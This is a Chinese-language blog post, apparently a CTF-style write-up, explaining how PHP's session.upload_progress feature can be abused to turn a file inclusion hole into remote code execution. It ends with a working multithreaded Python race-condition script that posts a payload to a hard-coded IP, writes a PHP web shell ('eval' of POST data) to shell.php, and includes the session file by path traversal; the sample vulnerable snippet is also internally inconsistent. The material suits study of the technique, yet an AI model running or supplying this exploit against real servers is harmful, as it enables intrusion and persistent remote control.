PHP Session.upload_progress
<h1 id="0x01-前言">0x01 前言</h1><p><strong>本文主要是利用PHP中的<code>session.upload_progress</code>功能作为跳板,根据参考文件描述所进行的文件包含漏洞利用复现。仅供自我学习使用,侵权立删</strong></p>
<p>由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。</p>
<h2 id="session-上传进度">Session 上传进度</h2>
<blockquote>
<p><strong>注意</strong>: 此特性自 PHP 5.4.0 后可用。</p>
</blockquote>
<pre><code class="language-php">session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
session.upload_progress.enabled = on
// 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
</code></pre>
<h1 id="0x02-利用-upload_progress-文件包含">0x02 利用 upload_progress 文件包含</h1>
<p>源码:</p>
<pre><code class="language-php"><?php
$file = $_GET['flie'];
include "$b";
?>
</code></pre>
<p>可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。</p>
<p>其实,我们可以利用<code>session.upload_progress</code>将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。</p>
<h2 id="1-代码里没有session_start时如何创建session文件呢">1. 代码里没有session_start()时如何创建session文件呢?</h2>
<p>其实,如果<code>session.auto_start=On</code> ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。</p>
<p>session还有一个选项,默认情况下<code>session.use_strict_mode</code>值是0,此时用户是可以自己定义<code>Session ID</code>的。比如,我们在Cookie里设置<code>PHPSESSID=Qftm</code>,PHP将会在服务器上创建一个文件:<code>/var/lib/php/sessions/sess_Qftm</code>。而且需要一点点技巧就可以不需要进行session_start()。</p>
<p><strong>查看官方给的案列</strong></p>
<p>PHP_SESSION_UPLOAD_PROGRESS的官方手册</p>
<pre><code class="language-text">http://php.net/manual/zh/session.upload-progress.php
</code></pre>
<p>一个上传进度数组的结构的例子</p>
<pre><code class="language-html"><form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
</code></pre>
<p>在session中存放的数据看上去是这样子的:</p>
<pre><code class="language-php"><?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489,// Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
</code></pre>
<h3 id="bypass思路分析">Bypass思路分析</h3>
<p>从官方的案例和结果可以看到session中一部分数据(<code>session.upload_progress.name</code>)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置<code>PHPSESSID=Qftm</code>(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段<code>PHP_SESSION_UPLOAD_PROGRESS</code> ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。</p>
<h2 id="2-文件上传后session文件内容立即清空如何进行rce呢">2. 文件上传后,session文件内容立即清空,<strong>如何进行rce呢?</strong></h2>
<p>事实上并不能完全的利用成功,因为<code>session.upload_progress.cleanup = on</code>这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。</p>
<h3 id="bypass思路梳理">Bypass思路梳理</h3>
<p>(1)upload file</p>
<pre><code class="language-text">files={'file': ('a.txt', "xxxxxxx")}
</code></pre>
<p>(2)设置cookie PHPSESSID</p>
<pre><code class="language-text">session.use_strict_mode=0造成Session ID可控
PHPSESSID=Qftm
</code></pre>
<p>(3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS</p>
<pre><code class="language-text">session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session
"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
</code></pre>
<p>(4)session.upload_progress.cleanup = on</p>
<pre><code class="language-text">多线程,时间竞争
</code></pre>
<h2 id="3-攻击脚本">3. 攻击脚本</h2>
<pre><code class="language-python">import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.33.6.145/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST)?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
</code></pre>
<h1 id="reference">Reference</h1>
<p>利用session.upload_progress进行文件包含和反序列化渗透 </p>
<p>PHP文件包含漏洞利用思路与Bypass总结手册(宝藏)</p><br><br>
来源:https://www.cnblogs.com/chalan630/p/14147602.html
頁:
[1]